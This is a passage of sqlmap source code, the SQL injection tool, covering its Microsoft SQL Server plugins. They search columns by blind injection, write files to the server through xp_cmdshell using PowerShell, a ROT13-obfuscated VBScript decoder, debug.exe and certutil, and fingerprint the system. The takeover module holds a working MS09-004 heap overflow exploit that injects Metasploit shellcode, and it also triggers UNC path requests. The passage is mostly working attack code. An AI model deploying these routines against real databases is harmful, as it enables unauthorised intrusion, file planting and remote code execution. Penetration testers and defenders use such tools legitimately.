foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (column, db) logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) ================================================ FILE: plugins/dbms/mssqlserver/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import ntpath import os from lib.core.common import checkFile from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: strLineChar = encodeHex(lineChar, binary=False) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(strLineChar) // 2 fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr)) commands = ( "cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr ) self.execCmd(" & ".join(command for command in commands)) return chunkName def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % remoteFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s'" % remoteFile logger.info(infoMsg) encodedFileContent = encodeBase64(localFileContent, binary=False) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) localFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) for i in xrange(0, localFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) commands = ( "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % encodedBase64FilePath, "del /F /Q \"%s\"" % randPSScriptPath ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) remoteFileName = ntpath.basename(remoteFile) sFile = "%s\\%s" % (tmpPath, remoteFileName) localFileSize = os.path.getsize(localFile) debugSize = 0xFF00 if localFileSize < debugSize: chunkName = self._updateDestChunk(localFileContent, tmpPath) debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, remoteFileName), "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " debugMsg += "it chunk by chunk and recreate the original file " debugMsg += "on the server, please wait.." logger.debug(debugMsg) for i in xrange(0, localFileSize, debugSize): localFileChunk = localFileContent[i:i + debugSize] chunkName = self._updateDestChunk(localFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, remoteFileName) else: debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName) debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName) logger.debug(debugMsg) commands = ( "cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName ) self.execCmd(" & ".join(command for command in commands)) logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile)) commands = ( "cd \"%s\"" % tmpPath, "move /Y %s %s" % (remoteFileName, remoteFile) ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using a custom visual basic script to write the " infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu vachgSvyrCngu = "%f" bhgchgSvyrCngu = "%f" Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") Frg svyr = sf.TrgSvyr(vachgSvyrCngu) Vs svyr.Fvmr Gura Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu Jfpevcg.Rpub Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) qngn = sq.ErnqNyy sq.Pybfr qngn = Ercynpr(qngn, " ", "") qngn = Ercynpr(qngn, ioPe, "") qngn = Ercynpr(qngn, ioYs, "") Jfpevcg.Rpub "Svkrq Vachg: " Jfpevcg.Rpub qngn Jfpevcg.Rpub qrpbqrqQngn = onfr64_qrpbqr(qngn) Jfpevcg.Rpub "Bhgchg: " Jfpevcg.Rpub qrpbqrqQngn Jfpevcg.Rpub Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu Jfpevcg.Rpub Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) bsf.Jevgr qrpbqrqQngn bsf.pybfr Ryfr Jfpevcg.Rpub "Gur svyr vf rzcgl." Raq Vs Shapgvba onfr64_qrpbqr(olIny fgeVa) Qvz j1, j2, j3, j4, a, fgeBhg Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) Vs Abg j2 Gura _ fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) Vs Abg j3 Gura _ fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) Vs Abg j4 Gura _ fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) Arkg onfr64_qrpbqr = fgeBhg Raq Shapgvba Shapgvba zvzrqrpbqr(olIny fgeVa) Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" Vs Yra(fgeVa) = 0 Gura zvzrqrpbqr = -1 : Rkvg Shapgvba Ryfr zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 Raq Vs Raq Shapgvba""" # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) commands = ( "cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) encodedFileContent = encodeBase64(localFileContent, binary=False) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) logger.debug("decoding the file to %s.." % remoteFile) commands = ( "cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, remoteFile), "del /F /Q %s" % randFile ) self.execCmd(" & ".join(command for command in commands)) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) remoteFile = posixToNtSlashes(remoteFile) checkFile(localFile) localFileContent = open(localFile, "rb").read() self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " if readInput(message, default='Y', boolean=True): self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType) written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return written ================================================ FILE: plugins/dbms/mssqlserver/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MSSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp.get("dbmsRelease") version = kb.bannerFp.get("dbmsVersion") servicepack = kb.bannerFp.get("dbmsServicePack") if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( ("Azure", "@@VERSION LIKE '%Azure%'"), ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), ("2022", "GREATEST(NULL,NULL) IS NULL"), ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("2017", "TRIM(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2005", "XACT_STATE()=XACT_STATE()"), ("2000", "HOST_NAME()=HOST_NAME()"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warning(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # https://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)), "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) ================================================ FILE: plugins/dbms/mssqlserver/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" True """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/mssqlserver/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.spExploit = "" GenericTakeover.__init__(self) def uncPathRequest(self): # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004 * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 12/2008 # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1])) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info("triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True) ================================================ FILE: plugins/dbms/mysql/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MYSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mysql.enumeration import Enumeration from plugins.dbms.mysql.filesystem import Filesystem from plugins.dbms.mysql.fingerprint import Fingerprint from plugins.dbms.mysql.syntax import Syntax from plugins.dbms.mysql.takeover import Takeover from plugins.generic.misc import Miscellaneous class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods """ def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF return data-type "sys_exec": {"return": "int"}, 